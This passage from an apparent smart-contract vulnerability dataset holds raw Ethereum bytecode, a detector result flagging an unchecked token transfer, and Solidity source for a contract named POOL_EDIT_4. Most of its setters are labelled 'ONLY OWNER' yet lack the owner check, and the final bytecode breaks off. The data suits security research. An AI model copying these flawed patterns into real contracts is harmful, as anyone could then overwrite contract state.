} | 0x6060604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806301502460146100e057806306fdde03146100f5578063095ea7b31461018357806313af4035146101dd57806318160ddd1461021657806323b872dd1461023f578063313ce567146102b857806331c420d4146102e757806370a08231146102fc5780637e1f2bb81461034957806389519c501461038457806395d89b41146103e5578063a9059cbb14610473578063dd62ed3e146104cd578063e724529c14610539575b600080fd5b34156100eb57600080fd5b6100f361057d565b005b341561010057600080fd5b610108610639565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014857808201518184015260208101905061012d565b50505050905090810190601f1680156101755780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561018e57600080fd5b6101c3600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610672565b604051808215151515815260200191505060405180910390f35b34156101e857600080fd5b610214600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506106a8565b005b341561022157600080fd5b610229610748565b6040518082815260200191505060405180910390f35b341561024a57600080fd5b61029e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610752565b604051808215151515815260200191505060405180910390f35b34156102c357600080fd5b6102cb6107e0565b604051808260ff1660ff16815260200191505060405180910390f35b34156102f257600080fd5b6102fa6107e5565b005b341561030757600080fd5b610333600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506108a0565b6040518082815260200191505060405180910390f35b341561035457600080fd5b61036a60048080359060200190919050506108e8565b604051808215151515815260200191505060405180910390f35b341561038f57600080fd5b6103e3600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610a76565b005b34156103f057600080fd5b6103f8610c71565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561043857808201518184015260208101905061041d565b50505050905090810190601f1680156104655780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561047e57600080fd5b6104b3600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610caa565b604051808215151515815260200191505060405180910390f35b34156104d857600080fd5b610523600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d36565b6040518082815260200191505060405180910390f35b341561054457600080fd5b61057b600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080351515906020019091905050610dbd565b005b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156105d957600080fd5b600560009054906101000a900460ff161515610637576001600560006101000a81548160ff0219169083151502179055507f615acbaede366d76a8b8cb2a9ada6a71495f0786513d71aa97aaf0c3910b78de60405160405180910390a15b565b6040805190810160405280600f81526020017f47756573732074686520536f756e64000000000000000000000000000000000081525081565b60008061067f3385610d36565b148061068b5750600082145b151561069657600080fd5b6106a08383610f1e565b905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561070457600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600454905090565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156107ad57600080fd5b600560009054906101000a900460ff16156107cb57600090506107d9565b6107d6848484611010565b90505b9392505050565b601281565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561084157600080fd5b600560009054906101000a900460ff161561089e576000600560006101000a81548160ff0219169083151502179055507f2f05ba71d0df11bf5fa562a6569d70c4f80da84284badbe015ce1456063d0ded60405160405180910390a15b565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561094657600080fd5b6000821115610a6c576109676b019d971e4fe8401e740000006004546113f6565b8211156109775760009050610a71565b6109bf6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361140f565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a0d6004548361140f565b6004819055503373ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610a71565b600090505b919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ad457600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515610b0f57600080fd5b8390508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515610bb457600080fd5b5af11515610bc157600080fd5b50505060405180519050507ffab5e7a27e02736e52f60776d307340051d8bc15aee0ef211c7a4aa2a8cdc154848484604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060405180910390a150505050565b6040805190810160405280600381526020017f475453000000000000000000000000000000000000000000000000000000000081525081565b6000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610d0557600080fd5b600560009054906101000a900460ff1615610d235760009050610d30565b610d2d838361142d565b90505b92915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e1957600080fd5b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151515610e5457600080fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561104d57600080fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156110da57600090506113ef565b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561112957600090506113ef565b60008211801561116557508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611385576111f0600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836113f6565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112b86000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836113f6565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113426000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361140f565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b600082821115151561140457fe5b818303905092915050565b600080828401905083811015151561142357fe5b8091505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561146a57600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156114b95760009050611679565b6000821180156114f557508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b1561160f576115426000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836113f6565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115cc6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361140f565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b929150505600a165627a7a723058200f48e7017e46a138abf92887d29886ba1e3614835f11e1fab049e76f5f5841fb0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}} | 849 |
0xdd171445db4f618c920a2faddbb2c26238077aba | pragma solidity ^0.4.8 ;
contract POOL_EDIT_4 {
address owner ;
function POOL_EDIT_4 () public {
owner = msg.sender;
}
modifier onlyOwner () {
require(msg.sender == owner );
_;
}
// 1 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inPOOL_edit_1 = " une première phrase " ;
function setPOOL_edit_1 ( string newPOOL_edit_1 ) public {
inPOOL_edit_1 = newPOOL_edit_1 ;
}
function getPOOL_edit_1 () public constant returns ( string ) {
return inPOOL_edit_1 ;
}
// 2 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inPOOL_edit_2 = " une première phrase " ;
function setPOOL_edit_2 ( string newPOOL_edit_2 ) public {
inPOOL_edit_2 = newPOOL_edit_2 ;
}
function getPOOL_edit_2 () public constant returns ( string ) {
return inPOOL_edit_2 ;
}
// 3 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inPOOL_edit_3 = " une première phrase " ;
function setPOOL_edit_3 ( string newPOOL_edit_3 ) public {
inPOOL_edit_3 = newPOOL_edit_3 ;
}
function getPOOL_edit_3 () public constant returns ( string ) {
return inPOOL_edit_3 ;
}
// 4 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inPOOL_edit_4 = " une première phrase " ;
function setPOOL_edit_4 ( string newPOOL_edit_4 ) public {
inPOOL_edit_4 = newPOOL_edit_4 ;
}
function getPOOL_edit_4 () public constant returns ( string ) {
return inPOOL_edit_4 ;
}
// 5 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inPOOL_edit_5 = " une première phrase " ;
function setPOOL_edit_5 ( string newPOOL_edit_5 ) public {
inPOOL_edit_5 = newPOOL_edit_5 ;
}
function getPOOL_edit_5 () public constant returns ( string ) {
return inPOOL_edit_5 ;
}
// 6 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inPOOL_edit_6 = " une première phrase " ;
function setPOOL_edit_6 ( string newPOOL_edit_6 ) public {
inPOOL_edit_6 = newPOOL_edit_6 ;
}
function getPOOL_edit_6 () public constant returns ( string ) {
return inPOOL_edit_6 ;
}
// 7 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inPOOL_edit_7 = " une première phrase " ;
function setPOOL_edit_7 ( string newPOOL_edit_7 ) public {
inPOOL_edit_7 = newPOOL_edit_7 ;
}
function getPOOL_edit_7 () public constant returns ( string ) {
return inPOOL_edit_7 ;
}
// 8 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inPOOL_edit_8 = " une première phrase " ;
function setPOOL_edit_8 ( string newPOOL_edit_8 ) public {
inPOOL_edit_8 = newPOOL_edit_8 ;
}
function getPOOL_edit_8 () public constant returns ( string ) {
return inPOOL_edit_8 ;
}
// 9 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inPOOL_edit_9 = " une première phrase " ;
function setPOOL_edit_9 ( string newPOOL_edit_9 ) public {
inPOOL_edit_9 = newPOOL_edit_9 ;
}
function getPOOL_edit_9 () public constant returns ( string ) {
return inPOOL_edit_9 ;
}
// 10 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inPOOL_edit_10 = " une première phrase " ;
function setPOOL_edit_10 ( string newPOOL_edit_10 ) public {
inPOOL_edit_10 = newPOOL_edit_10 ;
}
function getPOOL_edit_10 () public constant returns ( string ) {
return inPOOL_edit_10 ;
}
// 11 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inPOOL_edit_11 = " une première phrase " ;
function setPOOL_edit_11 ( string newPOOL_edit_11 ) public {
inPOOL_edit_11 = newPOOL_edit_11 ;
}
function getPOOL_edit_11 () public constant returns ( string ) {
return inPOOL_edit_11 ;
}
// 12 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inPOOL_edit_12 = " une première phrase " ;
function setPOOL_edit_12 ( string newPOOL_edit_12 ) public {
inPOOL_edit_12 = newPOOL_edit_12 ;
}
function getPOOL_edit_12 () public constant returns ( string ) {
return inPOOL_edit_12 ;
}
// 13 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inPOOL_edit_13 = " une première phrase " ;
function setPOOL_edit_13 ( string newPOOL_edit_13 ) public {
inPOOL_edit_13 = newPOOL_edit_13 ;
}
function getPOOL_edit_13 () public constant returns ( string ) {
return inPOOL_edit_13 ;
}
// 14 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inPOOL_edit_14 = " une première phrase " ;
function setPOOL_edit_14 ( string newPOOL_edit_14 ) public {
inPOOL_edit_14 = newPOOL_edit_14 ;
}
function getPOOL_edit_14 () public constant returns ( string ) {
return inPOOL_edit_14 ;
}
// 15 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inPOOL_edit_15 = " une première phrase " ;
function setPOOL_edit_15 ( string newPOOL_edit_15 ) public {
inPOOL_edit_15 = newPOOL_edit_15 ;
}
function getPOOL_edit_15 () public constant returns ( string ) {
return inPOOL_edit_15 ;
}
// 16 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inPOOL_edit_16 = " une première phrase " ;
function setPOOL_edit_16 ( string newPOOL_edit_16 ) public {
inPOOL_edit_16 = newPOOL_edit_16 ;
}
function getPOOL_edit_16 () public constant returns ( string ) {
return inPOOL_edit_16 ;
}
// 17 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inPOOL_edit_17 = " une première phrase " ;
function setPOOL_edit_17 ( string newPOOL_edit_17 ) public {
inPOOL_edit_17 = newPOOL_edit_17 ;
}
function getPOOL_edit_17 () public constant returns ( string ) {
return inPOOL_edit_17 ;
}
// 18 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inPOOL_edit_18 = " une première phrase " ;
function setPOOL_edit_18 ( string newPOOL_edit_18 ) public {
inPOOL_edit_18 = newPOOL_edit_18 ;
}
function getPOOL_edit_18 () public constant returns ( string ) {
return inPOOL_edit_18 ;
}
// 19 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inPOOL_edit_19 = " une première phrase " ;
function setPOOL_edit_19 ( string newPOOL_edit_19 ) public {
inPOOL_edit_19 = newPOOL_edit_19 ;
}
function getPOOL_edit_19 () public constant returns ( string ) {
return inPOOL_edit_19 ;
}
// 20 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inPOOL_edit_20 = " une première phrase " ;
function setPOOL_edit_20 ( string newPOOL_edit_20 ) public {
inPOOL_edit_20 = newPOOL_edit_20 ;
}
function getPOOL_edit_20 () public constant returns ( string ) {
return inPOOL_edit_20 ;
}
// 21 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inPOOL_edit_21 = " une première phrase " ;
function setPOOL_edit_21 ( string newPOOL_edit_21 ) public {
inPOOL_edit_21 = newPOOL_edit_21 ;
}
function getPOOL_edit_21 () public constant returns ( string ) {
return inPOOL_edit_21 ;
}
// 22 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inPOOL_edit_22 = " une première phrase " ;
function setPOOL_edit_22 ( string newPOOL_edit_22 ) public {
inPOOL_edit_22 = newPOOL_edit_22 ;
}
function getPOOL_edit_22 () public constant returns ( string ) {
return inPOOL_edit_22 ;
}
// 23 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inPOOL_edit_23 = " une première phrase " ;
function setPOOL_edit_23 ( string newPOOL_edit_23 ) public {
inPOOL_edit_23 = newPOOL_edit_23 ;
}
function getPOOL_edit_23 () public constant returns ( string ) {
return inPOOL_edit_23 ;
}
// 24 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inPOOL_edit_24 = " une première phrase " ;
function setPOOL_edit_24 ( string newPOOL_edit_24 ) public {
inPOOL_edit_24 = newPOOL_edit_24 ;
}
function getPOOL_edit_24 () public constant returns ( string ) {
return inPOOL_edit_24 ;
}
// 25 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inPOOL_edit_25 = " une première phrase " ;
function setPOOL_edit_25 ( string newPOOL_edit_25 ) public {
inPOOL_edit_25 = newPOOL_edit_25 ;
}
function getPOOL_edit_25 () public constant returns ( string ) {
return inPOOL_edit_25 ;
}
// 26 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inPOOL_edit_26 = " une première phrase " ;
function setPOOL_edit_26 ( string newPOOL_edit_26 ) public onlyOwner {
inPOOL_edit_26 = newPOOL_edit_26 ;
}
function getPOOL_edit_26 () public constant returns ( string ) {
return inPOOL_edit_26 ;
}
// 27 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inPOOL_edit_27 = " une première phrase " ;
function setPOOL_edit_27 ( string newPOOL_edit_27 ) public {
inPOOL_edit_27 = newPOOL_edit_27 ;
}
function getPOOL_edit_27 () public constant returns ( string ) {
return inPOOL_edit_27 ;
}
// 28 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inPOOL_edit_28 = " une première phrase " ;
function setPOOL_edit_28 ( string newPOOL_edit_28 ) public {
inPOOL_edit_28 = newPOOL_edit_28 ;
}
function getPOOL_edit_28 () public constant returns ( string ) {
return inPOOL_edit_28 ;
}
// 29 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inPOOL_edit_29 = " une première phrase " ;
function setPOOL_edit_29 ( string newPOOL_edit_29 ) public {
inPOOL_edit_29 = newPOOL_edit_29 ;
}
function getPOOL_edit_29 () public constant returns ( string ) {
return inPOOL_edit_29 ;
}
// 30 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inPOOL_edit_30 = " une première phrase " ;
function setPOOL_edit_30 ( string newPOOL_edit_30 ) public {
inPOOL_edit_30 = newPOOL_edit_30 ;
}
function getPOOL_edit_30 () public constant returns ( string ) {
return inPOOL_edit_30 ;
}
// 31 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inPOOL_edit_31 = " une première phrase " ;
function setPOOL_edit_31 ( string newPOOL_edit_31 ) public {
inPOOL_edit_31 = newPOOL_edit_31 ;
}
function getPOOL_edit_31 () public constant returns ( string ) {
return inPOOL_edit_31 ;
}
// 32 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inPOOL_edit_32 = " une première phrase " ;
function setPOOL_edit_32 ( string newPOOL_edit_32 ) public {
inPOOL_edit_32 = newPOOL_edit_32 ;
}
function getPOOL_edit_32 () public constant returns ( string ) {
return inPOOL_edit_32 ;
}
// 33 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inPOOL_edit_33 = " une première phrase " ;
function setPOOL_edit_33 ( string newPOOL_edit_33 ) public {
inPOOL_edit_33 = newPOOL_edit_33 ;
}
function getPOOL_edit_33 () public constant returns ( string ) {
return inPOOL_edit_33 ;
}
// 34 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inPOOL_edit_34 = " une première phrase " ;
function setPOOL_edit_34 ( string newPOOL_edit_34 ) public {
inPOOL_edit_34 = newPOOL_edit_34 ;
}
function getPOOL_edit_34 () public constant returns ( string ) {
return inPOOL_edit_34 ;
}
} | 0x606060405260043610610322576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806307016f601461032757806307113965146103b55780631528f43c146104125780631b9d1bed146104a05780631fcd7ea6146104fd57806323ac3fd41461058b57806323b98f921461061957806324516000146106a75780632699a7e7146107355780632fc522201461079257806330a35ce2146107ef5780633228556f1461087d57806337dac676146108da57806339c64f1b146109685780633e8cee07146109c557806348ab41d314610a535780634dd5df8c14610ae15780635073eda314610b3e5780635532689314610b9b5780635535cd2f14610bf8578063575a772214610c555780636741953e14610cb25780636c51af6714610d405780636c9a1e2a14610d9d5780636f48806314610dfa578063705882f214610e88578063753f313f14610ee55780638703b7d814610f425780638962aead14610f9f578063911463d214610ffc57806397463b7514611059578063982270e7146110e7578063986bb99a146111445780639938be42146111a15780639cd758d01461122f5780639cf9d4c01461128c5780639d0df9b5146112e9578063a0c42ed114611377578063a66db70414611405578063a6dd06e114611493578063a7f18b5a14611521578063acbfbaac1461157e578063aeb58dc51461160c578063b03b3a0a14611669578063b2eed299146116c6578063b39f448314611754578063b3d14775146117b1578063b3d176c91461183f578063b53f4d941461189c578063b929709a146118f9578063bdf27b5014611987578063bea70578146119e4578063bfdd1a2014611a72578063cb227cae14611b00578063d0d44cca14611b8e578063d23376ec14611beb578063d4092dd214611c79578063d6dbf1c214611d07578063db6f753714611d95578063deee9adb14611e23578063e7c1283714611e80578063e7e96a4314611f0e578063ec78626f14611f9c578063f1fea32a14611ff9578063f635d16014612056578063f72d50a9146120b3578063f8bc854814612141578063fa9a4c35146121cf575b600080fd5b341561033257600080fd5b61033a61225d565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561037a57808201518184015260208101905061035f565b50505050905090810190601f1680156103a75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156103c057600080fd5b610410600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612305565b005b341561041d57600080fd5b61042561231f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561046557808201518184015260208101905061044a565b50505050905090810190601f1680156104925780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156104ab57600080fd5b6104fb600480803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506123c7565b005b341561050857600080fd5b6105106123e1565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610550578082015181840152602081019050610535565b50505050905090810190601f16801561057d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561059657600080fd5b61059e612489565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105de5780820151818401526020810190506105c3565b50505050905090810190601f16801561060b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561062457600080fd5b61062c612531565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561066c578082015181840152602081019050610651565b50505050905090810190601f1680156106995780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156106b257600080fd5b6106ba6125d9565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156106fa5780820151818401526020810190506106df565b50505050905090810190601f1680156107275780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561074057600080fd5b610790600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612681565b005b341561079d57600080fd5b6107ed600480803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061269b565b005b34156107fa57600080fd5b6108026126b5565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610842578082015181840152602081019050610827565b50505050905090810190601f16801561086f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561088857600080fd5b6108d8600480803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061275d565b005b34156108e557600080fd5b6108ed612777565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561092d578082015181840152602081019050610912565b50505050905090810190601f16801561095a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561097357600080fd5b6109c3600480803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061281f565b005b34156109d057600080fd5b6109d8612839565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610a185780820151818401526020810190506109fd565b50505050905090810190601f168015610a455780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415610a5e57600080fd5b610a666128e1565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610aa6578082015181840152602081019050610a8b565b50505050905090810190601f168015610ad35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415610aec57600080fd5b610b3c600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612989565b005b3415610b4957600080fd5b610b99600480803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506129a3565b005b3415610ba657600080fd5b610bf6600480803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506129bd565b005b3415610c0357600080fd5b610c53600480803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506129d7565b005b3415610c6057600080fd5b610cb0600480803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506129f1565b005b3415610cbd57600080fd5b610cc5612a0b565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610d05578082015181840152602081019050610cea565b50505050905090810190601f168015610d325780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415610d4b57600080fd5b610d9b600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612ab3565b005b3415610da857600080fd5b610df8600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612acd565b005b3415610e0557600080fd5b610e0d612ae7565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610e4d578082015181840152602081019050610e32565b50505050905090810190601f168015610e7a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415610e9357600080fd5b610ee3600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612b8f565b005b3415610ef057600080fd5b610f40600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612ba9565b005b3415610f4d57600080fd5b610f9d600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612c1e565b005b3415610faa57600080fd5b610ffa600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612c38565b005b341561100757600080fd5b611057600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612c52565b005b341561106457600080fd5b61106c612c6c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156110ac578082015181840152602081019050611091565b50505050905090810190601f1680156110d95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156110f257600080fd5b611142600480803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505